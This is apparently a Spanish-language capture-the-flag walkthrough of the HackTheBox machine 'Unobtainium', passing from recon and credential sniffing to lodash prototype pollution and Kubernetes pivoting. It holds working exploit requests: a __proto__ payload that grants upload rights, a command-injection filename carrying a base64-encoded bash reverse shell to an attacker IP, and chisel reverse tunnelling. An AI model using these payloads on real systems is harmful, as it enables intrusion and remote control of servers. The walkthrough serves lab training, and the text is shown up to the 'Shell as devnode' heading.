r4cc0x Blog

Box Info

Name	Unobtainium
Release Date	10 Apr, 2021
OS	Linux
Rated Difficulty	Hard

ping -c 3 10.10.10.235
PING 10.10.10.235 (10.10.10.235) 56(84) bytes of data.
64 bytes from 10.10.10.235: icmp_seq=1 ttl=63 time=131 ms
64 bytes from 10.10.10.235: icmp_seq=2 ttl=63 time=131 ms
64 bytes from 10.10.10.235: icmp_seq=3 ttl=63 time=131 ms

Recon

sudo nmap -p- --open --min-rate 5000 -n -vv -Pn 10.10.10.235 -oG allPorts

## Nmap 7.95 scan initiated Sun Jul 13 09:45:32 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p 22,80,8443,10250,10251,31337 -oN targeted 10.10.10.235
Nmap scan report for unobtainium.htb (10.10.10.235)
Host is up (0.18s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp  open  ssl/http Golang net/http server
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.10.10.235, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2026-07-13T13:05:46
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: f81ec78b-7dd8-427c-a9be-312c71209ab8
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Sun, 13 Jul 2025 13:45:47 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 1e4248ca-e27f-4cc0-a53c-688ef7ba115f
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Sun, 13 Jul 2025 13:45:46 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions:
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: af85cfb6-fedc-4e10-8884-3b9e972a5b3e
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Sun, 13 Jul 2025 13:45:47 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
10250/tcp open  ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.10.235
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2026-07-13T13:05:46
10251/tcp open  http     Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 13 Jul 2025 13:45:57 GMT
|     Content-Length: 19
|     page not found
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions:
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 13 Jul 2025 13:45:40 GMT
|     Content-Length: 19
|     page not found
|   OfficeScan:
|     HTTP/1.1 400 Bad Request: missing required Host header
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request: missing required Host header
31337/tcp open  http     Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
| http-methods:
|_  Potentially risky methods: PUT DELETE
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.95%T=SSL%I=7%D=7/13%Time=6873B88A%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\x201e
SF:4248ca-e27f-4cc0-a53c-688ef7ba115f\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nDate:\x20Sun,\x2013\x20Ju
SF:l\x202025\x2013:45:46\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"kind\"
SF::\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\
SF:",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\":401
SF:}\n")%r(HTTPOptions,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\
SF:x20af85cfb6-fedc-4e10-8884-3b9e972a5b3e\r\nCache-Control:\x20no-cache,\
SF:x20private\r\nContent-Type:\x20application/json\r\nDate:\x20Sun,\x2013\
SF:x20Jul\x202025\x2013:45:47\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"k
SF:ind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fai
SF:lure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\
SF:":401}\n")%r(FourOhFourRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\
SF:nAudit-Id:\x20f81ec78b-7dd8-427c-a9be-312c71209ab8\r\nCache-Control:\x2
SF:0no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:\x20
SF:Sun,\x2013\x20Jul\x202025\x2013:45:47\x20GMT\r\nContent-Length:\x20129\
SF:r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"sta
SF:tus\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorize
SF:d\",\"code\":401}\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\
SF:x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port10251-TCP:V=7.95%I=7%D=7/13%Time=6873B883%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache
SF:-Control:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Sun,\x201
SF:3\x20Jul\x202025\x2013:45:40\x20GMT\r\nContent-Length:\x2019\r\n\r\n404
SF:\x20page\x20not\x20found\n")%r(HTTPOptions,D2,"HTTP/1\.0\x20404\x20Not\
SF:x20Found\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nD
SF:ate:\x20Sun,\x2013\x20Jul\x202025\x2013:45:40\x20GMT\r\nContent-Length:
SF:\x2019\r\n\r\n404\x20page\x20not\x20found\n")%r(RTSPRequest,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(
SF:SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(FourOhFourRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found
SF:\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20
SF:Sun,\x2013\x20Jul\x202025\x2013:45:57\x20GMT\r\nContent-Length:\x2019\r
SF:\n\r\n404\x20page\x20not\x20found\n")%r(LPDString,67,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nC
SF:onnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20char
SF:set=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Sock
SF:s5,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reques
SF:t")%r(OfficeScan,A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20missing\x20
SF:required\x20Host\x20header\r\nContent-Type:\x20text/plain;\x20charset=u
SF:tf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request:\x20missing\x
SF:20required\x20Host\x20header");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 13 09:46:25 2025 -- 1 IP address (1 host up) scanned in 53.09 seconds

Hay varios certificados TLS que muestran nombres DNS de unobtainium e incluso se muestran nombres DNS como kubernetes. Agregaré tanto unobtainiuma unobtainium.htbmi archivo local /etc/hosts.

echo "10.10.10.235 unobtainium.htb unobtainium" | sudo tee -a /etc/hosts

Los certificados que se muestran para el puerto 8443 estan relacionados con kubernetes. Aunque el propio nmap ya lo menciona, ya puedo intuir que hay una API de Kubernetes.

HTTPS - Web

Con Ctrl + u podemos ver el codigo fuente

1
<!-- Header -->
2
      <header id="header">
3
        <div class="content">
4
          <h1><a href="#">Unobtainium</a></h1>
5
          <p>Simple, responsive, high availability, multi-platform<br />
6
          chat application by <a href="/downloads/checksums.txt">Unobtainium</a></p>
7
          <ul class="actions">
8
            <li><a href="/downloads/unobtainium_debian.zip" class="button primary icon solid fa-download">Download deb</a></li>
9
            <li><a href="/downloads/unobtainium_redhat.zip" class="button primary icon solid fa-download">Download rpm</a></li>
10
            <li><a href="/downloads/unobtainium_snap.zip" class="button primary icon solid fa-download">Download snap</a></li>
11
          </ul>
12
        </div>
13
      </header>

Podemos ver archivos para descargar, que son los 3 enlaces que aparecen al entrar a la pagina web.

unzip unobtainium_debian.zip

tree -L 3
.
├── opt
│   └── unobtainium
│       ├── chrome_100_percent.pak
│       ├── chrome_200_percent.pak
│       ├── chrome-sandbox
│       ├── icudtl.dat
│       ├── libEGL.so
│       ├── libffmpeg.so
│       ├── libGLESv2.so
│       ├── libvk_swiftshader.so
│       ├── libvulkan.so
│       ├── LICENSE.electron.txt
│       ├── LICENSES.chromium.html
│       ├── locales
│       ├── resources
│       ├── resources.pak
│       ├── snapshot_blob.bin
│       ├── swiftshader
│       ├── unobtainium
│       ├── v8_context_snapshot.bin
│       └── vk_swiftshader_icd.json
└── usr
    └── share
        ├── applications
        ├── doc
        └── icons

1
find . -executable
2
.
3
./usr
4
./usr/share
5
./usr/share/doc
6
./usr/share/doc/unobtainium
7
./usr/share/applications
8
./usr/share/icons
9
./usr/share/icons/hicolor
10
./usr/share/icons/hicolor/128x128
11
./usr/share/icons/hicolor/128x128/apps
12
./usr/share/icons/hicolor/16x16
13
./usr/share/icons/hicolor/16x16/apps
14
./usr/share/icons/hicolor/32x32
15
./usr/share/icons/hicolor/32x32/apps
16
./usr/share/icons/hicolor/256x256
17
./usr/share/icons/hicolor/256x256/apps
18
./usr/share/icons/hicolor/64x64
19
./usr/share/icons/hicolor/64x64/apps
20
./usr/share/icons/hicolor/48x48
21
./usr/share/icons/hicolor/48x48/apps
22
./opt
23
./opt/unobtainium
24
./opt/unobtainium/swiftshader
25
./opt/unobtainium/swiftshader/libGLESv2.so
26
./opt/unobtainium/swiftshader/libEGL.so
27
./opt/unobtainium/libGLESv2.so
28
./opt/unobtainium/libvk_swiftshader.so
29
./opt/unobtainium/locales
30
./opt/unobtainium/resources
31
./opt/unobtainium/libEGL.so
32
./opt/unobtainium/unobtainium
33
./opt/unobtainium/chrome-sandbox
34
./opt/unobtainium/libvulkan.so
35
./opt/unobtainium/libffmpeg.so

./opt/unobtainium

1
./unobtainium &> /dev/null & disown

WireShark

wireshark 2>/dev/null & disown

Interceptaremos todo el trafico de la interfaz tun0, despues volvemos al unobtainium y recargamos el dashboard.

Vemos que se hace una peticion a la ip de unobtainium por el puerto 31337, si ingresamos a la web

Vemos un formato en JSON con un username. Vamos a interceptar las demas secciones del binario unobtainium para ver que podemos encontrar.

Se esta enviando una peticion por POST, si damos follow -> TCP Stream, podemos ver mas informacion sobre la peticion.

Podemos ver que se estan enviando credenciales en texto plano. Bueno parece ser que la peticion intenta ver el archivo todo.txt por esta razon es que al autenticarse las credenciales viajan en texto plano.

1
GET / HTTP/1.1
2
Host: unobtainium.htb:31337
3
Connection: keep-alive
4
Accept: */*
5
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
6
Accept-Encoding: gzip, deflate
7
Accept-Language: en-US
8

9

10
HTTP/1.1 200 OK
11
X-Powered-By: Express
12
Content-Type: application/json; charset=utf-8
13
Content-Length: 2
14
ETag: W/"2-l9Fw4VUO7kr8CvBlt4zaMCqXZ0w"
15
Date: Sun, 13 Jul 2025 15:44:10 GMT
16
Connection: keep-alive
17
Keep-Alive: timeout=5
18

19
[]
20
POST /todo HTTP/1.1
21
Host: unobtainium.htb:31337
22
Connection: keep-alive
23
Content-Length: 73
24
Accept: application/json, text/javascript, */*; q=0.01
25
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
26
Content-Type: application/json
27
Accept-Encoding: gzip, deflate
28
Accept-Language: en-US
29

30
{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}
31
HTTP/1.1 200 OK
32
X-Powered-By: Express
33
Content-Type: application/json; charset=utf-8
34
Content-Length: 293
35
ETag: W/"125-tNs2+nU0UiQGmLreBy4Pj891aVA"
36
Date: Sun, 13 Jul 2025 15:44:12 GMT
37
Connection: keep-alive
38
Keep-Alive: timeout=5
39

40
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}

felamos:Winter2021

Lo mismo podriamos obtener con curl, incluso podria ser que tengamos una via para hacer un Path Traversal en el campo “filename”.

curl -s -X POST "http://unobtainium.htb:31337/todo" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}' -H "Content-Type: application/json" | jq
{

{
  "ok": true,
  "content": "1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"
}

Podriamos intentar con archivos comunes de .js, porque el puerto 31337 es un servicio de node js framework.

curl -s -X POST "http://unobtainium.htb:31337/todo" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}' -H "Content-Type: application/json" | jq

{
  "ok": true,
  "content": "var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n  {name: 'felamos', password: 'Winter2021'},\n  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n  return users.find((u) =>\n    u.name === auth.name &&\n    u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n  res.send(messages);\n});\n\napp.put('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  const message = {\n    icon: '__',\n  };\n\n  _.merge(message, req.body.message, {\n    id: lastId++,\n    timestamp: Date.now(),\n    userName: user.name,\n  });\n\n  messages.push(message);\n  res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user || !user.canDelete) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  messages = messages.filter((m) => m.id !== req.body.messageId);\n  res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n  const user = findUser(req.body.auth || {});\n  if (!user || !user.canUpload) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n\n  filename = req.body.filename;\n  root.upload(\"./\",filename, true);\n  res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n        const user = findUser(req.body.auth || {});\n        if (!user) {\n                res.status(403).send({ok: false, error: 'Access denied'});\n                return;\n        }\n\n        filename = req.body.filename;\n        testFolder = \"/usr/src/app\";\n        fs.readdirSync(testFolder).forEach(file => {\n                if (file.indexOf(filename) > -1) {\n                        var buffer = fs.readFileSync(filename).toString();\n                        res.send({ok: true, content: buffer});\n                }\n        });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"
}

Guardamos en nvim y le damos un tratamiendo para leerlo mejor.

1
%s/\\n/\r/g
2
%s/\\t/\t/g
3
%s/\\"/\"/g

ProtoType Pollution in Node js

ProtoType Pollution es una vulnerabilidad de JavaScript que permite a un atacante agregar propiedades arbitrarias a los prototipos de objetos globales, que luego pueden ser heredados por objetos definidos por el usuario. Por ejemplo yo podria

1
"content": "var root = require("google-cloudstorage-commands");
2
const express = require('express');
3
const { exec } = require("child_process");
4
const bodyParser = require('body-parser');
5
const _ = require('lodash');
6
const app = express();
7
var fs = require('fs');
8

9
const users = [
10
  {name: 'felamos', password: 'Winter2021'},
11
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
12
];
13

14
let messages = [];
15
let lastId = 1;
16

17
function findUser(auth) {
18
  return users.find((u) =>
19
    u.name === auth.name &&
20
    u.password === auth.password);
21
}
22

23
app.use(bodyParser.json());
24

25
app.get('/', (req, res) => {
26
  res.send(messages);
27
});
28

29
app.put('/', (req, res) => {
30
  const user = findUser(req.body.auth || {});
31

32
  if (!user) {
33
    res.status(403).send({ok: false, error: 'Access denied'});
34
    return;
35
  }
36

37
  const message = {
38
    icon: '__',
39
  };
40

41
  _.merge(message, req.body.message, {
42
    id: lastId++,
43
    timestamp: Date.now(),
44
    userName: user.name,
45
  });
46

47
  messages.push(message);
48
  res.send({ok: true});
49
});
50

51
app.delete('/', (req, res) => {
52
  const user = findUser(req.body.auth || {});
53

54
  if (!user || !user.canDelete) {
55
    res.status(403).send({ok: false, error: 'Access denied'});
56
    return;
57
  }
58

59
  messages = messages.filter((m) => m.id !== req.body.messageId);
60
  res.send({ok: true});
61
});
62
app.post('/upload', (req, res) => {
63
  const user = findUser(req.body.auth || {});
64
  if (!user || !user.canUpload) {
65
    res.status(403).send({ok: false, error: 'Access denied'});
66
    return;
67
  }
68

69

70
  filename = req.body.filename;
71
  root.upload("./",filename, true);
72
  res.send({ok: true, Uploaded_File: filename});
73
});
74

75
app.post('/todo', (req, res) => {
76
        const user = findUser(req.body.auth || {});
77
        if (!user) {
78
                res.status(403).send({ok: false, error: 'Access denied'});
79
                return;
80
        }
81

82
        filename = req.body.filename;
83
        testFolder = "/usr/src/app";
84
        fs.readdirSync(testFolder).forEach(file => {
85
                if (file.indexOf(filename) > -1) {
86
                        var buffer = fs.readFileSync(filename).toString();
87
                        res.send({ok: true, content: buffer});
88
                }
89
        });
90
});
91

92
app.listen(3000);
93
console.log('Listening on port 3000...');

Analizando un poco el código, de primeras busque sobre google-cloudstorage-commands parece ser que este repositorio es el código que se ejecuta por detrás que es importante para entender como funciona.

google-cloudstorage-commands

Lo que deriva de una ejecución de comandos debido al uso de child_process.exec sin sanitizar los parámetros que provienen del usuario como inputDirectory.

Esta vulnerabilidad reside en el código index.js que obtuvimos con curl, en el método _.merge .

1
 _.merge(message, req.body.message, {
2
    id: lastId++,
3
    timestamp: Date.now(),
4
    userName: user.name,
5
  });

Si enviamos un message con propiedad como __proto__ podríamos contaminar el prototipo de todos los objetos.

En este link podemos ver un PoC. que indica el punto de ataque root.upload("./", filename, true); lo que nos permitiría realizar inyección de comandos.

PortSwigger - prototype-pollution

SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431

Utilizando el & para después ejecutar una reverse shell, seria algo así:

echo -n "bash -i >& /dev/tcp/10.10.14.20/443 0>&1" | base64
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC80NDMgMD4mMQ== | base64 -d | bash

Si ejecutamos el comando junto con la reverse shell, tardara un tiempo pero aun asi no la obtenemos, debemos como se menciona en el script tener permisos para subir, solo root puede subir archivos.

1
 {name: 'felamos', password: 'Winter2021'},
2
  {name: 'admin', password: Math.random().toString(32), canDelete: true,

Para esto enviaremos un mensaje en la seccion post messages por el binario obtainium y verificaremos que hayamos interceptado esa peticion por wireshark.

Como podemos ver se envia una peticion con el metodo PUT y el parametro message. Para modificar nuestros permisos como usuario felamos a “canUpload” a “true” enviaremos una peticion con PUT y en el parametro “message” agregamos el __proto__ seguido del parametro que queremos que cambie.

https://freedium.cfd/https://infosecwriteups.com/i-reproduced-a-10-000-bug-28466603e45e

curl -s -X PUT "http://unobtainium.htb:31337/" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__": {"canUpload": "True"}}}' -H "Content-Type: application/json" | jq

Ahora que hemos modificado el parametro y podemos subir archivo podemos ejecutar la reverse shell a la direccion http://unobtainium.htb/upload

curl -s -X POST "http://unobtainium.htb:31337/upload" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC80NDMgMD4mMQ== | base64 -d | bash"}' -H "Content-Type: application/json" | jq

{
  "ok": true,
  "Uploaded_File": "& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMC80NDMgMD4mMQ== | base64 -d | bash"
}

Shell as webapp

Por la interfaz podemos darnos cuenta de que es contenedor en donde nos encontramos

1
ip a
2
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
3
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
4
    inet 127.0.0.1/8 scope host lo
5
       valid_lft forever preferred_lft forever
6
3: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UP group default
7
    link/ether 02:a9:d5:71:68:a2 brd ff:ff:ff:ff:ff:ff link-netnsid 0
8
    inet 10.42.0.64/24 brd 10.42.0.255 scope global eth0
9
       valid_lft forever preferred_lft forever

contrab -l

root@webapp-deployment-9546bc7cb-6r7sq:/etc/cron.d# cat clear-kubectl
cat clear-kubectl

* * * * * find / -name kubectl -exec rm {} \;

Priv: Kubernetes Prototype Pollution | Lateral Movement

Kubectl es la herramienta de línea de comandos para clústeres de Kubernetes. Se comunica con el servidor API del proceso maestro para realizar acciones en Kubernetes o solicitar datos.

Los namespaces son una forma de organizar y aislar recursos dentro de un mismo clúster. Funcionan como “particiones virtuales” que permiten dividir el clúster en múltiples entornos lógicos, útiles para separar equipos, proyectos o entornos

./akubectl get namespaces
NAME              STATUS   AGE
default           Active   2y319d \[-]
kube-system       Active   2y319d \[-]
kube-public       Active   2y319d \[-]
kube-node-lease   Active   2y319d \[-]
dev               Active   2y319d \[+]

Los pods es un grupo de uno o más contenedores que comparten recursos como almacenamiento y red, y que se ejecutan en la misma máquina virtual (nodo).

1
./akubectl get pods -n dev
2

3
NAME                                  READY   STATUS    RESTARTS       AGE
4
devnode-deployment-776dbcf7d6-g4659   1/1     Running   6 (625d ago)   2y319d
5
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running   6 (625d ago)   2y319d
6
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running   6 (625d ago)   2y319d

Solo el namespace dev tuvimos acceso para listar los pods.

./akubectl describe pods/devnode-deployment-776dbcf7d6-g4659 -n dev

1
Name:             devnode-deployment-776dbcf7d6-g4659
2
Namespace:        dev
3
Priority:         0
4
Service Account:  default
5
Node:             unobtainium/10.10.10.235
6
Start Time:       Mon, 29 Aug 2022 09:32:21 +0000
7
Labels:           app=devnode
8
                  pod-template-hash=776dbcf7d6
9
Annotations:      <none>
10
Status:           Running
11
IP:               10.42.0.63
12
IPs:
13
  IP:           10.42.0.63
14
Controlled By:  ReplicaSet/devnode-deployment-776dbcf7d6
15
Containers:
16
  devnode:
17
    Container ID:   docker://93749fa961009fa8dd8ae44f3ab344ef93849ccbff1b67b4f99bc91589a9a05f
18
    Image:          localhost:5000/node_server
19
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
20
    Port:           3000/TCP
21
    Host Port:      0/TCP
22
    State:          Running
23
      Started:      Mon, 14 Jul 2025 07:21:28 +0000
24
    Last State:     Terminated
25
      Reason:       Error
26
      Exit Code:    137
27
      Started:      Fri, 27 Oct 2023 15:17:48 +0000
28
      Finished:     Fri, 27 Oct 2023 15:24:53 +0000
29
    Ready:          True
30
    Restart Count:  6
31
    Environment:    <none>
32
    Mounts:
33
      /root/ from user-flag (rw)
34
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-ww6h2 (ro)
35
Conditions:
36
  Type              Status
37
  Initialized       True
38
  Ready             True
39
  ContainersReady   True
40
  PodScheduled      True
41
Volumes:
42
  user-flag:
43
    Type:          HostPath (bare host directory volume)
44
    Path:          /opt/user/
45
    HostPathType:
46
  kube-api-access-ww6h2:
47
    Type:                    Projected (a volume that contains injected data from multiple sources)
48
    TokenExpirationSeconds:  3607
49
    ConfigMapName:           kube-root-ca.crt
50
    Optional:                false
51
    DownwardAPI:             true
52
QoS Class:                   BestEffort
53
Node-Selectors:              <none>
54
Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
55
                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
56
Events:                      <none>

Podemos ver que este contenedor de kubernetes tiene la ip 10.42.0.63 y yo tengo la 10.42.0.64.

Si le lanzamos un ping, vemos que tenemos conectividad con ese contenedor.

1
ping -c 1 10.42.0.63
2

3
PING 10.42.0.63 (10.42.0.63) 56(84) bytes of data.
4
64 bytes from 10.42.0.63: icmp_seq=1 ttl=64 time=0.138 ms
5

6
--- 10.42.0.63 ping statistics ---
7
1 packets transmitted, 1 received, 0% packet loss, time 0ms
8
rtt min/avg/max/mdev = 0.138/0.138/0.138/0.000 ms

https://hacktricks.boitatech.com.br/pentesting/pentesting-kubernetes

curl -s -X POST "http://10.42.0.63:3000/upload"; echo

{"ok":false,"error":"Access denied"}

curl -s -X POST "http://10.42.0.63:3000/todo"; echo

{"ok":false,"error":"Access denied"}

Pivoting Port 3000

Kali

1
./chisel server --reverse -p 1234

Container

./chisel client 10.10.14.20:1234 R:3000:10.42.0.63:3000

Shell as devnode

